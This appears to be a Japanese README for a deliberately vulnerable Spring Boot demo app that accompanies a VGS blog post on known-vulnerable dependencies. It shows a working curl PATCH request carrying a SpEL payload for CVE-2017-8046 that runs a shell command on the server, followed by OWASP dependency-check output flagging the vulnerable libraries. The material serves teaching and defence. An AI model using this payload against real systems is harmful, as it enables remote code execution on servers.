
免責事項: このリポジトリはVGSのブログ記事 「既知の脆弱性のあるコンポーネントの使用を回避する方法」 の補足資料です。既知のセキュリティ脆弱性(具体的には CVE-2017-8046)を含むアプリケーションと、 その悪用方法の説明が含まれています。アプリケーションの使用は自己責任で行ってください!
まず、リポジトリのルートから次のコマンドを実行してアプリケーションを起動します。
mvn clean spring-boot:run
次に、次のようなPOSTリクエストを送信してリソースを作成します。
curl -X POST http://localhost:8080/books \
-H 'Content-Type: application/json' \
-d '{"isbn":"978-3827268969","title":"Thinking in Java","author":"Bruce Eckel"}'
curl -X PATCH http://localhost:8080/books/1 -H 'Content-Type: application/json-patch+json' -d '[{"op":"replace","path":"T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"ifconfig\").getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x","value":"Your application has been hacked"}]'
アプリケーションをUnixベースのオペレーティングシステム(例:macOS)で実行している場合、 レスポンスにはホストのネットワーク構成が含まれます。実際、 SpEL 式はどれでも使用できます。
mvn clean package verify
高リスクの脆弱性が特定された依存関係があるため、ビルドは失敗します。
[ERROR] Failed to execute goal org.owasp:dependency-check-maven:3.3.2:check (default) on project CVE-2017-8046:
[ERROR]
[ERROR] One or more dependencies were identified with vulnerabilities that have a CVSS score greater than or equal to '7.0':
[ERROR]
[ERROR] spring-boot-1.5.5.RELEASE.jar: CVE-2017-8046
[ERROR] spring-core-4.3.10.RELEASE.jar: CVE-2018-1275, CVE-2018-1270
[ERROR] jackson-databind-2.8.9.jar: CVE-2017-15095, CVE-2017-17485, CVE-2018-7489
[ERROR] spring-boot-starter-data-rest-1.5.5.RELEASE.jar: CVE-2018-1273, CVE-2017-8046
[ERROR]
[ERROR] See the dependency-check report for more details.
すぐに始めたいですか? スタートアップガイドをご覧ください。
Very Good Security(VGS)は、社内および第三者との間でデータの有用性を維持しながら、 セキュリティ体制を強化することを可能にします。さらに、コンプライアンス認証プロセスを加速し、 市場機会の前に立ちはだかるセキュリティ関連のコンプライアンスを迅速に取得するのに役立ちます。
詳細については、https://www.verygoodsecurity.com/ をご覧ください。
このプロジェクトはMITライセンスの下でライセンスされています。詳細については、LICENSEファイルを参照してください。